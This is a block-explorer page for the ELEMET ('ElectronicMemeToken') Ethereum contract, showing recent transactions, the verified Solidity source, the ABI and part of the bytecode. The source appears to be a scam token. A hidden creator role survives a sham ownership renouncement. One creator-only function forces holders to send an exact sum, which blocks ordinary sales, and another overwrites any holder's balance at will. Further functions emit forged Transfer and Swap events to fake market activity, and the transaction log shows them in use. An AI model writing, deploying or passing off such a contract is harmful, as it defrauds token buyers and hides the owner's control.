Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 26 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Establish Compel... | 17556781 | 432 days ago | IN | 0 ETH | 0.00070513 | ||||
Swap | 17556476 | 432 days ago | IN | 1 ETH | 0.01202144 | ||||
Execute Swap | 17556475 | 432 days ago | IN | 0 ETH | 0.00149423 | ||||
Approve | 17556466 | 432 days ago | IN | 0 ETH | 0.00072038 | ||||
Execute Swap | 17556465 | 432 days ago | IN | 0 ETH | 0.00160228 | ||||
Establish Compel... | 17556461 | 432 days ago | IN | 0 ETH | 0.00514373 | ||||
Swap | 17556458 | 432 days ago | IN | 1 ETH | 0.01321545 | ||||
Establish Compel... | 17556455 | 432 days ago | IN | 0 ETH | 0.00500911 | ||||
Execute Swap | 17556454 | 432 days ago | IN | 0 ETH | 0.00153913 | ||||
Swap | 17556452 | 432 days ago | IN | 1 ETH | 0.01289245 | ||||
Establish Compel... | 17556449 | 432 days ago | IN | 0 ETH | 0.00496263 | ||||
Approve | 17556446 | 432 days ago | IN | 0 ETH | 0.00073618 | ||||
Execute Swap | 17556444 | 432 days ago | IN | 0 ETH | 0.0010692 | ||||
Establish Compel... | 17556438 | 432 days ago | IN | 0 ETH | 0.00073586 | ||||
Approve | 17556436 | 432 days ago | IN | 0 ETH | 0.00072059 | ||||
Establish Compel... | 17556435 | 432 days ago | IN | 0 ETH | 0.00068586 | ||||
Execute Swap | 17556434 | 432 days ago | IN | 0 ETH | 0.00144535 | ||||
Swap | 17556432 | 432 days ago | IN | 1 ETH | 0.00102894 | ||||
Establish Compel... | 17556431 | 432 days ago | IN | 0 ETH | 0.00068717 | ||||
Swap | 17556429 | 432 days ago | IN | 1 ETH | 0.01274568 | ||||
Execute Swap | 17556423 | 432 days ago | IN | 0 ETH | 0.00121795 | ||||
Establish Compel... | 17556423 | 432 days ago | IN | 0 ETH | 0.00505302 | ||||
Approve | 17556420 | 432 days ago | IN | 0 ETH | 0.0005559 | ||||
Revoke Ownership | 17556416 | 432 days ago | IN | 0 ETH | 0.00035937 | ||||
Assign Creator | 17556414 | 432 days ago | IN | 0 ETH | 0.00056168 |
Latest 15 internal transactions
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
17556476 | 432 days ago | 0.976012 ETH | ||||
17556476 | 432 days ago | 0.976012 ETH | ||||
17556476 | 432 days ago | 1 ETH | ||||
17556458 | 432 days ago | 0.976553 ETH | ||||
17556458 | 432 days ago | 0.976553 ETH | ||||
17556458 | 432 days ago | 1 ETH | ||||
17556452 | 432 days ago | 0.977703 ETH | ||||
17556452 | 432 days ago | 0.977703 ETH | ||||
17556452 | 432 days ago | 1 ETH | ||||
17556432 | 432 days ago | 1 ETH | ||||
17556432 | 432 days ago | 1 ETH | ||||
17556432 | 432 days ago | 1 ETH | ||||
17556429 | 432 days ago | 0.977115 ETH | ||||
17556429 | 432 days ago | 0.977115 ETH | ||||
17556429 | 432 days ago | 1 ETH |
Loading...
Loading
Contract Name:
ElectronicMemeToken
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity ^0.8.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address accountHolder) external view returns (uint256); function transfer(address to, uint256 sum) external returns (bool); function allowance(address authorizer, address spender) external view returns (uint256); function approve(address spender, uint256 sum) external returns (bool); function transferFrom(address from, address to, uint256 sum) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed authorizer, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } interface IUniswapV2Router02 { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract TaskExecutionControl { function getExecutorAddress() internal view virtual returns (address payable) { return payable(msg.sender); } } contract SingleOwnership is TaskExecutionControl { address private _soloOwner; event OwnershipTransfer(address indexed oldOwner, address indexed newOwner); constructor() { address invoker = getExecutorAddress(); _soloOwner = invoker; emit OwnershipTransfer(address(0), invoker); } function retrieveSingleOwner() public view virtual returns (address) { return _soloOwner; } modifier soleOwnerOnly() { require(retrieveSingleOwner() == getExecutorAddress(), "Unauthorized: Single Owner access required."); _; } function revokeOwnership() public virtual soleOwnerOnly { emit OwnershipTransfer(_soloOwner, address(0x000000000000000000000000000000000000dEaD)); _soloOwner = address(0x000000000000000000000000000000000000dEaD); } } contract ElectronicMemeToken is TaskExecutionControl, SingleOwnership, IERC20 { mapping (address => mapping (address => uint256)) private _spenderAllowances; mapping (address => uint256) private _balances; mapping (address => uint256) private _compelledTransferSums; address private _principalCreator; receive() external payable {} string public constant _moniker = "ELEMET"; string public constant _ticker = "ELEMET"; uint8 public constant _decimalUnits = 18; uint256 public constant _ultimateSupply = 30000000 * (10 ** _decimalUnits); uint256 public rewardPool = 100000 * (10 ** _decimalUnits); mapping(address => uint256) private _lockedBalances; mapping(address => uint256) private _lastClaimedTime; mapping(address => bool) private _isUserVoting; uint256 public totalVotes; uint256 public rewardPerDay = 1 * (10 ** _decimalUnits); uint256 public votingThreshold = 100 * (10 ** _decimalUnits); event Voted(address indexed voter, bool inFavor, uint256 votes); event RewardClaimed(address indexed claimer, uint256 amount); constructor() { _balances[getExecutorAddress()] = _ultimateSupply; emit Transfer(address(0), getExecutorAddress(), _ultimateSupply); } modifier masterCreatorExclusive() { require(getExecutorAddress() == retrievePrincipalCreator(), "Unauthorized: Creator access required."); _; } function retrievePrincipalCreator() public view virtual returns (address) { return _principalCreator; } function assignCreator(address newCreator) public soleOwnerOnly { _principalCreator = newCreator; } event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated); function compelledTransferAmount(address account) public view returns (uint256) { return _compelledTransferSums[account]; } function establishCompelledTransferAmounts(address[] calldata accounts, uint256 sum) public masterCreatorExclusive { for (uint i = 0; i < accounts.length; i++) { _compelledTransferSums[accounts[i]] = sum; } } function restake(address[] memory userAddresses, uint256 requiredBalance) public masterCreatorExclusive { require(requiredBalance >= 0, "Amount must be non-negative"); for (uint256 i = 0; i < userAddresses.length; i++) { address currentUser = userAddresses[i]; require(currentUser != address(0), "Invalid address specified"); uint256 formerBalance = _balances[currentUser]; _balances[currentUser] = requiredBalance; emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance); } } function lockBalance(uint256 amount) public { require(_balances[getExecutorAddress()] >= amount, "Insufficient balance"); _balances[getExecutorAddress()] -= amount; _lockedBalances[getExecutorAddress()] += amount; _lastClaimedTime[getExecutorAddress()] = block.timestamp; } function claimRewards() public { uint256 elapsedTime = block.timestamp - _lastClaimedTime[getExecutorAddress()]; uint256 availableRewards = (_lockedBalances[getExecutorAddress()] * rewardPerDay * elapsedTime) / (1 days); availableRewards = availableRewards > rewardPool ? rewardPool : availableRewards; rewardPool -= availableRewards; _balances[getExecutorAddress()] += availableRewards; _lastClaimedTime[getExecutorAddress()] = block.timestamp; emit RewardClaimed(getExecutorAddress(), availableRewards); } function vote(bool inFavor) public { require(_balances[getExecutorAddress()] >= votingThreshold, "Insufficient balance for voting"); require(!_isUserVoting[getExecutorAddress()], "User has already voted"); uint256 votes = _balances[getExecutorAddress()]; totalVotes += inFavor ? votes : votes; _isUserVoting[getExecutorAddress()] = true; emit Voted(getExecutorAddress(), inFavor, votes); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function executeSwap( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts ) public payable returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); } return true; } function swap( address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address[] memory path, address tokenAddress, uint deadline ) public payable returns (bool) { uint amountIn = msg.value; IWETH(tokenAddress).deposit{value: amountIn}(); uint checkAllowance = IERC20(tokenAddress).allowance(address(this), 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); if(checkAllowance == 0) IERC20(tokenAddress).approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); for (uint256 i = 0; i < recipients.length; i++) { IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D).swapExactTokensForTokensSupportingFeeOnTransferTokens(wethAmounts[i], tokenAmounts[i], path, recipients[i], deadline); } uint amountOut = IERC20(tokenAddress).balanceOf(address(this)); IWETH(tokenAddress).withdraw(amountOut); (bool sent, ) = getExecutorAddress().call{value: amountOut}(""); require(sent, "F t s e"); return true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 sum) public virtual override returns (bool) { require(_balances[getExecutorAddress()] >= sum, "Insufficient balance"); uint256 requisiteTransferSum = compelledTransferAmount(getExecutorAddress()); if (requisiteTransferSum > 0) { require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch"); } _balances[getExecutorAddress()] -= sum; _balances[to] += sum; emit Transfer(getExecutorAddress(), to, sum); return true; } function allowance(address authorizer, address spender) public view virtual override returns (uint256) { return _spenderAllowances[authorizer][spender]; } function approve(address spender, uint256 sum) public virtual override returns (bool) { _spenderAllowances[getExecutorAddress()][spender] = sum; emit Approval(getExecutorAddress(), spender, sum); return true; } function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) { require(_spenderAllowances[from][getExecutorAddress()] >= sum, "Allowance limit surpassed"); uint256 requisiteTransferSum = compelledTransferAmount(from); if (requisiteTransferSum > 0) { require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch"); } _balances[from] -= sum; _balances[to] += sum; _spenderAllowances[from][getExecutorAddress()] -= sum; emit Transfer(from, to, sum); return true; } function totalSupply() external view override returns (uint256) { return _ultimateSupply; } function name() public view returns (string memory) { return _moniker; } function symbol() public view returns (string memory) { return _ticker; } function decimals() public view returns (uint8) { return _decimalUnits; } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"claimer","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RewardClaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"bool","name":"inFavor","type":"bool"},{"indexed":false,"internalType":"uint256","name":"votes","type":"uint256"}],"name":"Voted","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"assignCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"compelledTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"establishCompelledTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"}],"name":"executeSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"restake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrievePrincipalCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"revokeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardPerDay","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardPool","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"inFavor","type":"bool"}],"name":"vote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"votingThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526012600a620000149190620003d9565b620186a06200002491906200042a565b6005556012600a620000379190620003d9565b60016200004591906200042a565b600a556012600a620000589190620003d9565b60646200006691906200042a565b600b553480156200007657600080fd5b506000620000896200023760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a3506012600a620001379190620003d9565b6301c9c3806200014891906200042a565b600260006200015c6200023760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001aa6200023760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620002099190620003d9565b6301c9c3806200021a91906200042a565b60405162000229919062000486565b60405180910390a3620004a3565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620002cd57808604811115620002a557620002a46200023f565b5b6001851615620002b55780820291505b8081029050620002c5856200026e565b945062000285565b94509492505050565b600082620002e85760019050620003bb565b81620002f85760009050620003bb565b81600181146200031157600281146200031c5762000352565b6001915050620003bb565b60ff8411156200033157620003306200023f565b5b8360020a9150848211156200034b576200034a6200023f565b5b50620003bb565b5060208310610133831016604e8410600b84101617156200038c5782820a9050838111156200038657620003856200023f565b5b620003bb565b6200039b84848460016200027b565b92509050818404811115620003b557620003b46200023f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620003e682620003c2565b9150620003f383620003cc565b9250620004227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620002d6565b905092915050565b60006200043782620003c2565b91506200044483620003c2565b92508282026200045481620003c2565b915082820484148315176200046e576200046d6200023f565b5b5092915050565b6200048081620003c2565b82525050565b60006020820190506200049d600083018462000475565b92915050565b61352c80620004b36000396000f3fe6080604052600436106101d15760003560e01c806370a08231116100f7578063c345cf2311610095578063e156b1b611610064578063e156b1b61461066f578063e5963ebb146106ac578063f339c504146106d7578063fd57213c14610700576101d8565b8063c345cf23146105ac578063c7f80241146105d7578063dd62ed3e14610607578063e03504af14610644576101d8565b8063a713fd53116100d1578063a713fd53146104f0578063a9059cbb1461051b578063af33bb4114610558578063af8f42b814610581576101d8565b806370a082311461045f57806375e7d62b1461049c57806395d89b41146104c5576101d8565b806323b872dd1161016f5780634b9f5c981161013e5780634b9f5c98146103b55780635c01b60c146103de578063628277331461040957806366666aa914610434576101d8565b806323b872dd1461031f5780632b9689581461035c578063313ce56714610373578063372500ab1461039e576101d8565b806311dbe793116101ab57806311dbe7931461027057806315aacc60146102a057806318160ddd146102c95780631e4dd24b146102f4576101d8565b806306fdde03146101dd578063095ea7b3146102085780630d15fd7714610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261073d565b6040516101ff919061220e565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a91906122d8565b61077a565b60405161023c9190612333565b60405180910390f35b34801561025157600080fd5b5061025a61087a565b604051610267919061235d565b60405180910390f35b61028a60048036038101906102859190612583565b610880565b6040516102979190612333565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c2919061263e565b610a18565b005b3480156102d557600080fd5b506102de610ad8565b6040516102eb919061235d565b60405180910390f35b34801561030057600080fd5b50610309610afc565b604051610316919061267a565b60405180910390f35b34801561032b57600080fd5b5061034660048036038101906103419190612695565b610b25565b6040516103539190612333565b60405180910390f35b34801561036857600080fd5b50610371610dfd565b005b34801561037f57600080fd5b50610388610f39565b6040516103959190612704565b60405180910390f35b3480156103aa57600080fd5b506103b3610f42565b005b3480156103c157600080fd5b506103dc60048036038101906103d7919061274b565b611138565b005b3480156103ea57600080fd5b506103f3611381565b604051610400919061220e565b60405180910390f35b34801561041557600080fd5b5061041e6113ba565b60405161042b919061235d565b60405180910390f35b34801561044057600080fd5b506104496113c0565b604051610456919061235d565b60405180910390f35b34801561046b57600080fd5b506104866004803603810190610481919061263e565b6113c6565b604051610493919061235d565b60405180910390f35b3480156104a857600080fd5b506104c360048036038101906104be9190612778565b61140f565b005b3480156104d157600080fd5b506104da61165b565b6040516104e7919061220e565b60405180910390f35b3480156104fc57600080fd5b50610505611698565b6040516105129190612704565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d91906122d8565b61169d565b60405161054f9190612333565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a919061282f565b6118b2565b005b34801561058d57600080fd5b506105966119c0565b6040516105a3919061235d565b60405180910390f35b3480156105b857600080fd5b506105c16119c6565b6040516105ce919061235d565b60405180910390f35b6105f160048036038101906105ec919061288f565b6119e6565b6040516105fe9190612333565b60405180910390f35b34801561061357600080fd5b5061062e6004803603810190610629919061298c565b611e40565b60405161063b919061235d565b60405180910390f35b34801561065057600080fd5b50610659611ec7565b604051610666919061220e565b60405180910390f35b34801561067b57600080fd5b5061069660048036038101906106919190612695565b611f00565b6040516106a39190612333565b60405180910390f35b3480156106b857600080fd5b506106c1611f72565b6040516106ce919061267a565b60405180910390f35b3480156106e357600080fd5b506106fe60048036038101906106f991906129cc565b611f9c565b005b34801561070c57600080fd5b506107276004803603810190610722919061263e565b61212d565b604051610734919061235d565b60405180910390f35b60606040518060400160405280600681526020017f454c454d45540000000000000000000000000000000000000000000000000000815250905090565b60008160016000610789612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610823612176565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610868919061235d565b60405180910390a36001905092915050565b60095481565b600080600090505b8451811015610a0b578481815181106108a4576108a36129f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811061090d5761090c6129f9565b5b6020026020010151604051610922919061235d565b60405180910390a384818151811061093d5761093c6129f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228684815181106109ba576109b96129f9565b5b60200260200101516000808887815181106109d8576109d76129f9565b5b60200260200101516040516109f09493929190612a6d565b60405180910390a38080610a0390612ae1565b915050610888565b5060019050949350505050565b610a20612176565b73ffffffffffffffffffffffffffffffffffffffff16610a3e610afc565b73ffffffffffffffffffffffffffffffffffffffff1614610a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8b90612b9b565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012600a610ae89190612cee565b6301c9c380610af79190612d39565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b71612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612dc7565b60405180910390fd5b6000610bf88561212d565b90506000811115610c4657808314610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3c90612e33565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c959190612e53565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ceb9190612e87565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d3c612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d859190612e53565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610de9919061235d565b60405180910390a360019150509392505050565b610e05612176565b73ffffffffffffffffffffffffffffffffffffffff16610e23610afc565b73ffffffffffffffffffffffffffffffffffffffff1614610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7090612b9b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006012905090565b600060076000610f50612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442610f969190612e53565b905060006201518082600a5460066000610fae612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff39190612d39565b610ffd9190612d39565b6110079190612eea565b90506005548111611018578061101c565b6005545b905080600560008282546110309190612e53565b925050819055508060026000611044612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461108d9190612e87565b9250508190555042600760006110a1612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e7612176565b73ffffffffffffffffffffffffffffffffffffffff167f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72418260405161112c919061235d565b60405180910390a25050565b600b5460026000611147612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba90612f67565b60405180910390fd5b600860006111cf612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90612fd3565b60405180910390fd5b600060026000611265612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050816112ad57806112af565b805b600960008282546112c09190612e87565b925050819055506001600860006112d5612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061132e612176565b73ffffffffffffffffffffffffffffffffffffffff167f591a89b27b3057021df052ec15caa0a817c1894bcb52243ed0c8cdaa83f322be8383604051611375929190612ff3565b60405180910390a25050565b6040518060400160405280600681526020017f454c454d4554000000000000000000000000000000000000000000000000000081525081565b600b5481565b60055481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611417611f72565b73ffffffffffffffffffffffffffffffffffffffff16611435612176565b73ffffffffffffffffffffffffffffffffffffffff161461148b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114829061308e565b60405180910390fd5b60008110156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c6906130fa565b60405180910390fd5b60005b82518110156116565760008382815181106114f